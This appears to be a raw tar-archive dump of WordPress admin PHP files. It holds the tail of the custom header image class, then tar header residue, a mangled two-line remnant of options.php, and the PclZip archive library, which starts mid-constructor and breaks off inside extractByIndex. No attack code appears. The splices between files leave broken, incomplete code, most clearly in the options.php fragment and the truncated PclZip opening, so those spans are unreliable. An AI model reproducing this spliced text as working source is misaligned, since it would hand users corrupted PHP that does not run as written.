* registered for that theme; and the key of an image uploaded for that theme
* (the attachment ID of the image). Or an array of arguments: attachment_id,
* url, width, height. All are required.
*/
final public function set_header_image( $choice ) {
if ( is_array( $choice ) || is_object( $choice ) ) {
$choice = (array) $choice;
if ( ! isset( $choice['attachment_id'] ) || ! isset( $choice['url'] ) ) {
return;
}
$choice['url'] = sanitize_url( $choice['url'] );
$header_image_data = (object) array(
'attachment_id' => $choice['attachment_id'],
'url' => $choice['url'],
'thumbnail_url' => $choice['url'],
'height' => $choice['height'],
'width' => $choice['width'],
);
update_post_meta( $choice['attachment_id'], '_wp_attachment_is_custom_header', get_stylesheet() );
set_theme_mod( 'header_image', $choice['url'] );
set_theme_mod( 'header_image_data', $header_image_data );
return;
}
if ( in_array( $choice, array( 'remove-header', 'random-default-image', 'random-uploaded-image' ), true ) ) {
set_theme_mod( 'header_image', $choice );
remove_theme_mod( 'header_image_data' );
return;
}
$uploaded = get_uploaded_header_images();
if ( $uploaded && isset( $uploaded[ $choice ] ) ) {
$header_image_data = $uploaded[ $choice ];
} else {
$this->process_default_headers();
if ( isset( $this->default_headers[ $choice ] ) ) {
$header_image_data = $this->default_headers[ $choice ];
} else {
return;
}
}
set_theme_mod( 'header_image', sanitize_url( $header_image_data['url'] ) );
set_theme_mod( 'header_image_data', $header_image_data );
}
/**
* Removes a header image.
*
* @since 3.4.0
*/
final public function remove_header_image() {
$this->set_header_image( 'remove-header' );
}
/**
* Resets a header image to the default image for the theme.
*
* This method does not do anything if the theme does not have a default header image.
*
* @since 3.4.0
*/
final public function reset_header_image() {
$this->process_default_headers();
$default = get_theme_support( 'custom-header', 'default-image' );
if ( ! $default ) {
$this->remove_header_image();
return;
}
$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
$default_data = array();
foreach ( $this->default_headers as $header => $details ) {
if ( $details['url'] === $default ) {
$default_data = $details;
break;
}
}
set_theme_mod( 'header_image', $default );
set_theme_mod( 'header_image_data', (object) $default_data );
}
/**
* Calculates width and height based on what the currently selected theme supports.
*
* @since 3.9.0
*
* @param array $dimensions
* @return array dst_height and dst_width of header image.
*/
final public function get_header_dimensions( $dimensions ) {
$max_width = 0;
$width = absint( $dimensions['width'] );
$height = absint( $dimensions['height'] );
$theme_height = get_theme_support( 'custom-header', 'height' );
$theme_width = get_theme_support( 'custom-header', 'width' );
$has_flex_width = current_theme_supports( 'custom-header', 'flex-width' );
$has_flex_height = current_theme_supports( 'custom-header', 'flex-height' );
$has_max_width = current_theme_supports( 'custom-header', 'max-width' );
$dst = array(
'dst_height' => null,
'dst_width' => null,
);
// For flex, limit size of image displayed to 1500px unless theme says otherwise.
if ( $has_flex_width ) {
$max_width = 1500;
}
if ( $has_max_width ) {
$max_width = max( $max_width, get_theme_support( 'custom-header', 'max-width' ) );
}
$max_width = max( $max_width, $theme_width );
if ( $has_flex_height && ( ! $has_flex_width || $width > $max_width ) ) {
$dst['dst_height'] = absint( $height * ( $max_width / $width ) );
} elseif ( $has_flex_height && $has_flex_width ) {
$dst['dst_height'] = $height;
} else {
$dst['dst_height'] = $theme_height;
}
if ( $has_flex_width && ( ! $has_flex_height || $width > $max_width ) ) {
$dst['dst_width'] = absint( $width * ( $max_width / $width ) );
} elseif ( $has_flex_width && $has_flex_height ) {
$dst['dst_width'] = $width;
} else {
$dst['dst_width'] = $theme_width;
}
return $dst;
}
/**
* Creates an attachment 'object'.
*
* @since 3.9.0
* @deprecated 6.5.0
*
* @param string $cropped Cropped image URL.
* @param int $parent_attachment_id Attachment ID of parent image.
* @return array An array with attachment object data.
*/
final public function create_attachment_object( $cropped, $parent_attachment_id ) {
_deprecated_function( __METHOD__, '6.5.0', 'wp_copy_parent_attachment_properties()' );
$parent = get_post( $parent_attachment_id );
$parent_url = wp_get_attachment_url( $parent->ID );
$url = str_replace( wp_basename( $parent_url ), wp_basename( $cropped ), $parent_url );
$size = wp_getimagesize( $cropped );
$image_type = ( $size ) ? $size['mime'] : 'image/jpeg';
$attachment = array(
'ID' => $parent_attachment_id,
'post_title' => wp_basename( $cropped ),
'post_mime_type' => $image_type,
'guid' => $url,
'context' => 'custom-header',
'post_parent' => $parent_attachment_id,
);
return $attachment;
}
/**
* Inserts an attachment and its metadata.
*
* @since 3.9.0
*
* @param array $attachment An array with attachment object data.
* @param string $cropped File path to cropped image.
* @return int Attachment ID.
*/
final public function insert_attachment( $attachment, $cropped ) {
$parent_id = isset( $attachment['post_parent'] ) ? $attachment['post_parent'] : null;
unset( $attachment['post_parent'] );
$attachment_id = wp_insert_attachment( $attachment, $cropped );
$metadata = wp_generate_attachment_metadata( $attachment_id, $cropped );
// If this is a crop, save the original attachment ID as metadata.
if ( $parent_id ) {
$metadata['attachment_parent'] = $parent_id;
}
/**
* Filters the header image attachment metadata.
*
* @since 3.9.0
*
* @see wp_generate_attachment_metadata()
*
* @param array $metadata Attachment metadata.
*/
$metadata = apply_filters( 'wp_header_image_attachment_metadata', $metadata );
wp_update_attachment_metadata( $attachment_id, $metadata );
return $attachment_id;
}
/**
* Gets attachment uploaded by Media Manager, crops it, then saves it as a
* new object. Returns JSON-encoded object details.
*
* @since 3.9.0
*/
public function ajax_header_crop() {
check_ajax_referer( 'image_editor-' . $_POST['id'], 'nonce' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_send_json_error();
}
if ( ! current_theme_supports( 'custom-header', 'uploads' ) ) {
wp_send_json_error();
}
$crop_details = $_POST['cropDetails'];
$dimensions = $this->get_header_dimensions(
array(
'height' => $crop_details['height'],
'width' => $crop_details['width'],
)
);
$attachment_id = absint( $_POST['id'] );
$cropped = wp_crop_image(
$attachment_id,
(int) $crop_details['x1'],
(int) $crop_details['y1'],
(int) $crop_details['width'],
(int) $crop_details['height'],
(int) $dimensions['dst_width'],
(int) $dimensions['dst_height']
);
if ( ! $cropped || is_wp_error( $cropped ) ) {
wp_send_json_error( array( 'message' => __( 'Image could not be processed. Please go back and try again.' ) ) );
}
/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
$cropped = apply_filters( 'wp_create_file_in_uploads', $cropped, $attachment_id ); // For replication.
$attachment = wp_copy_parent_attachment_properties( $cropped, $attachment_id, 'custom-header' );
$previous = $this->get_previous_crop( $attachment );
if ( $previous ) {
$attachment['ID'] = $previous;
} else {
unset( $attachment['ID'] );
}
$new_attachment_id = $this->insert_attachment( $attachment, $cropped );
$attachment['attachment_id'] = $new_attachment_id;
$attachment['url'] = wp_get_attachment_url( $new_attachment_id );
$attachment['width'] = $dimensions['dst_width'];
$attachment['height'] = $dimensions['dst_height'];
wp_send_json_success( $attachment );
}
/**
* Given an attachment ID for a header image, updates its "last used"
* timestamp to now.
*
* Triggered when the user tries adds a new header image from the
* Media Manager, even if s/he doesn't save that change.
*
* @since 3.9.0
*/
public function ajax_header_add() {
check_ajax_referer( 'header-add', 'nonce' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_send_json_error();
}
$attachment_id = absint( $_POST['attachment_id'] );
if ( $attachment_id < 1 ) {
wp_send_json_error();
}
$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
update_post_meta( $attachment_id, $key, time() );
update_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
wp_send_json_success();
}
/**
* Given an attachment ID for a header image, unsets it as a user-uploaded
* header image for the active theme.
*
* Triggered when the user clicks the overlay "X" button next to each image
* choice in the Customizer's Header tool.
*
* @since 3.9.0
*/
public function ajax_header_remove() {
check_ajax_referer( 'header-remove', 'nonce' );
if ( ! current_user_can( 'edit_theme_options' ) ) {
wp_send_json_error();
}
$attachment_id = absint( $_POST['attachment_id'] );
if ( $attachment_id < 1 ) {
wp_send_json_error();
}
$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
delete_post_meta( $attachment_id, $key );
delete_post_meta( $attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
wp_send_json_success();
}
/**
* Updates the last-used postmeta on a header image attachment after saving a new header image via the Customizer.
*
* @since 3.9.0
*
* @param WP_Customize_Manager $wp_customize Customize manager.
*/
public function customize_set_last_used( $wp_customize ) {
$header_image_data_setting = $wp_customize->get_setting( 'header_image_data' );
if ( ! $header_image_data_setting ) {
return;
}
$data = $header_image_data_setting->post_value();
if ( ! isset( $data['attachment_id'] ) ) {
return;
}
$attachment_id = $data['attachment_id'];
$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
update_post_meta( $attachment_id, $key, time() );
}
/**
* Gets the details of default header images if defined.
*
* @since 3.9.0
*
* @return array Default header images.
*/
public function get_default_header_images() {
$this->process_default_headers();
// Get the default image if there is one.
$default = get_theme_support( 'custom-header', 'default-image' );
if ( ! $default ) { // If not, easy peasy.
return $this->default_headers;
}
$default = sprintf( $default, get_template_directory_uri(), get_stylesheet_directory_uri() );
$already_has_default = false;
foreach ( $this->default_headers as $k => $h ) {
if ( $h['url'] === $default ) {
$already_has_default = true;
break;
}
}
if ( $already_has_default ) {
return $this->default_headers;
}
// If the one true image isn't included in the default set, prepend it.
$header_images = array();
$header_images['default'] = array(
'url' => $default,
'thumbnail_url' => $default,
'description' => 'Default',
);
// The rest of the set comes after.
return array_merge( $header_images, $this->default_headers );
}
/**
* Gets the previously uploaded header images.
*
* @since 3.9.0
*
* @return array Uploaded header images.
*/
public function get_uploaded_header_images() {
$header_images = get_uploaded_header_images();
$timestamp_key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
$alt_text_key = '_wp_attachment_image_alt';
foreach ( $header_images as &$header_image ) {
$header_meta = get_post_meta( $header_image['attachment_id'] );
$header_image['timestamp'] = isset( $header_meta[ $timestamp_key ] ) ? $header_meta[ $timestamp_key ] : '';
$header_image['alt_text'] = isset( $header_meta[ $alt_text_key ] ) ? $header_meta[ $alt_text_key ] : '';
}
return $header_images;
}
/**
* Gets the ID of a previous crop from the same base image.
*
* @since 4.9.0
*
* @param array $attachment An array with a cropped attachment object data.
* @return int|false An attachment ID if one exists. False if none.
*/
public function get_previous_crop( $attachment ) {
$header_images = $this->get_uploaded_header_images();
// Bail early if there are no header images.
if ( empty( $header_images ) ) {
return false;
}
$previous = false;
foreach ( $header_images as $image ) {
if ( $image['attachment_parent'] === $attachment['post_parent'] ) {
$previous = $image['attachment_id'];
break;
}
}
return $previous;
}
}
options.php 0000644 00000010233 14757313107 0006757 0 ustar 00
';
echo '
' . __( 'The character encoding of your site (UTF-8 is recommended)' ) . '
';
}
class-pclzip.php 0000644 00000600134 14757313107 0007675 0 ustar 00 zipname = $p_zipname;
$this->zip_fd = 0;
$this->magic_quotes_status = -1;
// ----- Return
return;
}
public function PclZip($p_zipname) {
self::__construct($p_zipname);
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function :
// create($p_filelist, $p_add_dir="", $p_remove_dir="")
// create($p_filelist, $p_option, $p_option_value, ...)
// Description :
// This method supports two different synopsis. The first one is historical.
// This method creates a Zip Archive. The Zip file is created in the
// filesystem. The files and directories indicated in $p_filelist
// are added in the archive. See the parameters description for the
// supported format of $p_filelist.
// When a directory is in the list, the directory and its content is added
// in the archive.
// In this synopsis, the function takes an optional variable list of
// options. See below the supported options.
// Parameters :
// $p_filelist : An array containing file or directory names, or
// a string containing one filename or one directory name, or
// a string containing a list of filenames and/or directory
// names separated by spaces.
// $p_add_dir : A path to add before the real path of the archived file,
// in order to have it memorized in the archive.
// $p_remove_dir : A path to remove from the real path of the file to archive,
// in order to have a shorter path memorized in the archive.
// When $p_add_dir and $p_remove_dir are set, $p_remove_dir
// is removed first, before $p_add_dir is added.
// Options :
// PCLZIP_OPT_ADD_PATH :
// PCLZIP_OPT_REMOVE_PATH :
// PCLZIP_OPT_REMOVE_ALL_PATH :
// PCLZIP_OPT_COMMENT :
// PCLZIP_CB_PRE_ADD :
// PCLZIP_CB_POST_ADD :
// Return Values :
// 0 on failure,
// The list of the added files, with a status of the add action.
// (see PclZip::listContent() for list entry format)
// --------------------------------------------------------------------------------
function create($p_filelist)
{
$v_result=1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Set default values
$v_options = array();
$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
// ----- Look for variable options arguments
$v_size = func_num_args();
// ----- Look for arguments
if ($v_size > 1) {
// ----- Get the arguments
$v_arg_list = func_get_args();
// ----- Remove from the options list the first argument
array_shift($v_arg_list);
$v_size--;
// ----- Look for first arg
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
// ----- Parse the options
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_ADD => 'optional',
PCLZIP_CB_POST_ADD => 'optional',
PCLZIP_OPT_NO_COMPRESSION => 'optional',
PCLZIP_OPT_COMMENT => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
//, PCLZIP_OPT_CRYPT => 'optional'
));
if ($v_result != 1) {
return 0;
}
}
// ----- Look for 2 args
// Here we need to support the first historic synopsis of the
// method.
else {
// ----- Get the first argument
$v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
// ----- Look for the optional second argument
if ($v_size == 2) {
$v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
}
else if ($v_size > 2) {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
"Invalid number / type of arguments");
return 0;
}
}
}
// ----- Look for default option values
$this->privOptionDefaultThreshold($v_options);
// ----- Init
$v_string_list = array();
$v_att_list = array();
$v_filedescr_list = array();
$p_result_list = array();
// ----- Look if the $p_filelist is really an array
if (is_array($p_filelist)) {
// ----- Look if the first element is also an array
// This will mean that this is a file description entry
if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
$v_att_list = $p_filelist;
}
// ----- The list is a list of string names
else {
$v_string_list = $p_filelist;
}
}
// ----- Look if the $p_filelist is a string
else if (is_string($p_filelist)) {
// ----- Create a list from the string
$v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
}
// ----- Invalid variable type for $p_filelist
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
return 0;
}
// ----- Reformat the string list
if (sizeof($v_string_list) != 0) {
foreach ($v_string_list as $v_string) {
if ($v_string != '') {
$v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
}
else {
}
}
}
// ----- For each file in the list check the attributes
$v_supported_attributes
= array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
,PCLZIP_ATT_FILE_MTIME => 'optional'
,PCLZIP_ATT_FILE_CONTENT => 'optional'
,PCLZIP_ATT_FILE_COMMENT => 'optional'
);
foreach ($v_att_list as $v_entry) {
$v_result = $this->privFileDescrParseAtt($v_entry,
$v_filedescr_list[],
$v_options,
$v_supported_attributes);
if ($v_result != 1) {
return 0;
}
}
// ----- Expand the filelist (expand directories)
$v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
if ($v_result != 1) {
return 0;
}
// ----- Call the create fct
$v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
if ($v_result != 1) {
return 0;
}
// ----- Return
return $p_result_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function :
// add($p_filelist, $p_add_dir="", $p_remove_dir="")
// add($p_filelist, $p_option, $p_option_value, ...)
// Description :
// This method supports two synopsis. The first one is historical.
// This methods add the list of files in an existing archive.
// If a file with the same name already exists, it is added at the end of the
// archive, the first one is still present.
// If the archive does not exist, it is created.
// Parameters :
// $p_filelist : An array containing file or directory names, or
// a string containing one filename or one directory name, or
// a string containing a list of filenames and/or directory
// names separated by spaces.
// $p_add_dir : A path to add before the real path of the archived file,
// in order to have it memorized in the archive.
// $p_remove_dir : A path to remove from the real path of the file to archive,
// in order to have a shorter path memorized in the archive.
// When $p_add_dir and $p_remove_dir are set, $p_remove_dir
// is removed first, before $p_add_dir is added.
// Options :
// PCLZIP_OPT_ADD_PATH :
// PCLZIP_OPT_REMOVE_PATH :
// PCLZIP_OPT_REMOVE_ALL_PATH :
// PCLZIP_OPT_COMMENT :
// PCLZIP_OPT_ADD_COMMENT :
// PCLZIP_OPT_PREPEND_COMMENT :
// PCLZIP_CB_PRE_ADD :
// PCLZIP_CB_POST_ADD :
// Return Values :
// 0 on failure,
// The list of the added files, with a status of the add action.
// (see PclZip::listContent() for list entry format)
// --------------------------------------------------------------------------------
function add($p_filelist)
{
$v_result=1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Set default values
$v_options = array();
$v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
// ----- Look for variable options arguments
$v_size = func_num_args();
// ----- Look for arguments
if ($v_size > 1) {
// ----- Get the arguments
$v_arg_list = func_get_args();
// ----- Remove form the options list the first argument
array_shift($v_arg_list);
$v_size--;
// ----- Look for first arg
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
// ----- Parse the options
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_ADD => 'optional',
PCLZIP_CB_POST_ADD => 'optional',
PCLZIP_OPT_NO_COMPRESSION => 'optional',
PCLZIP_OPT_COMMENT => 'optional',
PCLZIP_OPT_ADD_COMMENT => 'optional',
PCLZIP_OPT_PREPEND_COMMENT => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
//, PCLZIP_OPT_CRYPT => 'optional'
));
if ($v_result != 1) {
return 0;
}
}
// ----- Look for 2 args
// Here we need to support the first historic synopsis of the
// method.
else {
// ----- Get the first argument
$v_options[PCLZIP_OPT_ADD_PATH] = $v_add_path = $v_arg_list[0];
// ----- Look for the optional second argument
if ($v_size == 2) {
$v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
}
else if ($v_size > 2) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
// ----- Return
return 0;
}
}
}
// ----- Look for default option values
$this->privOptionDefaultThreshold($v_options);
// ----- Init
$v_string_list = array();
$v_att_list = array();
$v_filedescr_list = array();
$p_result_list = array();
// ----- Look if the $p_filelist is really an array
if (is_array($p_filelist)) {
// ----- Look if the first element is also an array
// This will mean that this is a file description entry
if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
$v_att_list = $p_filelist;
}
// ----- The list is a list of string names
else {
$v_string_list = $p_filelist;
}
}
// ----- Look if the $p_filelist is a string
else if (is_string($p_filelist)) {
// ----- Create a list from the string
$v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
}
// ----- Invalid variable type for $p_filelist
else {
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type '".gettype($p_filelist)."' for p_filelist");
return 0;
}
// ----- Reformat the string list
if (sizeof($v_string_list) != 0) {
foreach ($v_string_list as $v_string) {
$v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
}
}
// ----- For each file in the list check the attributes
$v_supported_attributes
= array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
,PCLZIP_ATT_FILE_MTIME => 'optional'
,PCLZIP_ATT_FILE_CONTENT => 'optional'
,PCLZIP_ATT_FILE_COMMENT => 'optional'
);
foreach ($v_att_list as $v_entry) {
$v_result = $this->privFileDescrParseAtt($v_entry,
$v_filedescr_list[],
$v_options,
$v_supported_attributes);
if ($v_result != 1) {
return 0;
}
}
// ----- Expand the filelist (expand directories)
$v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
if ($v_result != 1) {
return 0;
}
// ----- Call the create fct
$v_result = $this->privAdd($v_filedescr_list, $p_result_list, $v_options);
if ($v_result != 1) {
return 0;
}
// ----- Return
return $p_result_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function : listContent()
// Description :
// This public method, gives the list of the files and directories, with their
// properties.
// The properties of each entries in the list are (used also in other functions) :
// filename : Name of the file. For a create or add action it is the filename
// given by the user. For an extract function it is the filename
// of the extracted file.
// stored_filename : Name of the file / directory stored in the archive.
// size : Size of the stored file.
// compressed_size : Size of the file's data compressed in the archive
// (without the headers overhead)
// mtime : Last known modification date of the file (UNIX timestamp)
// comment : Comment associated with the file
// folder : true | false
// index : index of the file in the archive
// status : status of the action (depending of the action) :
// Values are :
// ok : OK !
// filtered : the file / dir is not extracted (filtered by user)
// already_a_directory : the file can not be extracted because a
// directory with the same name already exists
// write_protected : the file can not be extracted because a file
// with the same name already exists and is
// write protected
// newer_exist : the file was not extracted because a newer file exists
// path_creation_fail : the file is not extracted because the folder
// does not exist and can not be created
// write_error : the file was not extracted because there was an
// error while writing the file
// read_error : the file was not extracted because there was an error
// while reading the file
// invalid_header : the file was not extracted because of an archive
// format error (bad file header)
// Note that each time a method can continue operating when there
// is an action error on a file, the error is only logged in the file status.
// Return Values :
// 0 on an unrecoverable failure,
// The list of the files in the archive.
// --------------------------------------------------------------------------------
function listContent()
{
$v_result=1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Check archive
if (!$this->privCheckFormat()) {
return(0);
}
// ----- Call the extracting fct
$p_list = array();
if (($v_result = $this->privList($p_list)) != 1)
{
unset($p_list);
return(0);
}
// ----- Return
return $p_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function :
// extract($p_path="./", $p_remove_path="")
// extract([$p_option, $p_option_value, ...])
// Description :
// This method supports two synopsis. The first one is historical.
// This method extract all the files / directories from the archive to the
// folder indicated in $p_path.
// If you want to ignore the 'root' part of path of the memorized files
// you can indicate this in the optional $p_remove_path parameter.
// By default, if a newer file with the same name already exists, the
// file is not extracted.
//
// If both PCLZIP_OPT_PATH and PCLZIP_OPT_ADD_PATH options
// are used, the path indicated in PCLZIP_OPT_ADD_PATH is append
// at the end of the path value of PCLZIP_OPT_PATH.
// Parameters :
// $p_path : Path where the files and directories are to be extracted
// $p_remove_path : First part ('root' part) of the memorized path
// (if any similar) to remove while extracting.
// Options :
// PCLZIP_OPT_PATH :
// PCLZIP_OPT_ADD_PATH :
// PCLZIP_OPT_REMOVE_PATH :
// PCLZIP_OPT_REMOVE_ALL_PATH :
// PCLZIP_CB_PRE_EXTRACT :
// PCLZIP_CB_POST_EXTRACT :
// Return Values :
// 0 or a negative value on failure,
// The list of the extracted files, with a status of the action.
// (see PclZip::listContent() for list entry format)
// --------------------------------------------------------------------------------
function extract()
{
$v_result=1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Check archive
if (!$this->privCheckFormat()) {
return(0);
}
// ----- Set default values
$v_options = array();
// $v_path = "./";
$v_path = '';
$v_remove_path = "";
$v_remove_all_path = false;
// ----- Look for variable options arguments
$v_size = func_num_args();
// ----- Default values for option
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
// ----- Look for arguments
if ($v_size > 0) {
// ----- Get the arguments
$v_arg_list = func_get_args();
// ----- Look for first arg
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
// ----- Parse the options
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_PATH => 'optional',
PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_EXTRACT => 'optional',
PCLZIP_CB_POST_EXTRACT => 'optional',
PCLZIP_OPT_SET_CHMOD => 'optional',
PCLZIP_OPT_BY_NAME => 'optional',
PCLZIP_OPT_BY_EREG => 'optional',
PCLZIP_OPT_BY_PREG => 'optional',
PCLZIP_OPT_BY_INDEX => 'optional',
PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional',
PCLZIP_OPT_REPLACE_NEWER => 'optional'
,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
));
if ($v_result != 1) {
return 0;
}
// ----- Set the arguments
if (isset($v_options[PCLZIP_OPT_PATH])) {
$v_path = $v_options[PCLZIP_OPT_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
$v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
$v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
}
if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
// ----- Check for '/' in last path char
if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) {
$v_path .= '/';
}
$v_path .= $v_options[PCLZIP_OPT_ADD_PATH];
}
}
// ----- Look for 2 args
// Here we need to support the first historic synopsis of the
// method.
else {
// ----- Get the first argument
$v_path = $v_arg_list[0];
// ----- Look for the optional second argument
if ($v_size == 2) {
$v_remove_path = $v_arg_list[1];
}
else if ($v_size > 2) {
// ----- Error log
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments");
// ----- Return
return 0;
}
}
}
// ----- Look for default option values
$this->privOptionDefaultThreshold($v_options);
// ----- Trace
// ----- Call the extracting fct
$p_list = array();
$v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path,
$v_remove_all_path, $v_options);
if ($v_result < 1) {
unset($p_list);
return(0);
}
// ----- Return
return $p_list;
}
// --------------------------------------------------------------------------------
// --------------------------------------------------------------------------------
// Function :
// extractByIndex($p_index, $p_path="./", $p_remove_path="")
// extractByIndex($p_index, [$p_option, $p_option_value, ...])
// Description :
// This method supports two synopsis. The first one is historical.
// This method is doing a partial extract of the archive.
// The extracted files or folders are identified by their index in the
// archive (from 0 to n).
// Note that if the index identify a folder, only the folder entry is
// extracted, not all the files included in the archive.
// Parameters :
// $p_index : A single index (integer) or a string of indexes of files to
// extract. The form of the string is "0,4-6,8-12" with only numbers
// and '-' for range or ',' to separate ranges. No spaces or ';'
// are allowed.
// $p_path : Path where the files and directories are to be extracted
// $p_remove_path : First part ('root' part) of the memorized path
// (if any similar) to remove while extracting.
// Options :
// PCLZIP_OPT_PATH :
// PCLZIP_OPT_ADD_PATH :
// PCLZIP_OPT_REMOVE_PATH :
// PCLZIP_OPT_REMOVE_ALL_PATH :
// PCLZIP_OPT_EXTRACT_AS_STRING : The files are extracted as strings and
// not as files.
// The resulting content is in a new field 'content' in the file
// structure.
// This option must be used alone (any other options are ignored).
// PCLZIP_CB_PRE_EXTRACT :
// PCLZIP_CB_POST_EXTRACT :
// Return Values :
// 0 on failure,
// The list of the extracted files, with a status of the action.
// (see PclZip::listContent() for list entry format)
// --------------------------------------------------------------------------------
//function extractByIndex($p_index, options...)
function extractByIndex($p_index)
{
$v_result=1;
// ----- Reset the error handler
$this->privErrorReset();
// ----- Check archive
if (!$this->privCheckFormat()) {
return(0);
}
// ----- Set default values
$v_options = array();
// $v_path = "./";
$v_path = '';
$v_remove_path = "";
$v_remove_all_path = false;
// ----- Look for variable options arguments
$v_size = func_num_args();
// ----- Default values for option
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE;
// ----- Look for arguments
if ($v_size > 1) {
// ----- Get the arguments
$v_arg_list = func_get_args();
// ----- Remove form the options list the first argument
array_shift($v_arg_list);
$v_size--;
// ----- Look for first arg
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
// ----- Parse the options
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
array (PCLZIP_OPT_PATH => 'optional',
PCLZIP_OPT_REMOVE_PATH => 'optional',
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
PCLZIP_OPT_EXTRACT_AS_STRING => 'optional',
PCLZIP_OPT_ADD_PATH => 'optional',
PCLZIP_CB_PRE_EXTRACT => 'optional',
PCLZIP_CB_POST_EXTRACT => 'optional',
PCLZIP_OPT_SET_CHMOD => 'optional',
PCLZIP_OPT_REPLACE_NEWER => 'optional'
,PCLZIP_OPT_STOP_ON_ERROR => 'optional'
,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional',
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
PCLZIP_OPT_TEMP_FILE_ON => 'optional',
PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
));
if ($v_result != 1) {
return 0;
}
// ----- Set the arguments
if (isset($v_options[PCLZIP_OPT_PATH])) {
$v_path = $v_options[PCLZIP_OPT_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) {
$v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH];
}
if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) {
$v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH];
}
if (isset($v_options[PCLZIP_OPT_ADD_PATH])) {
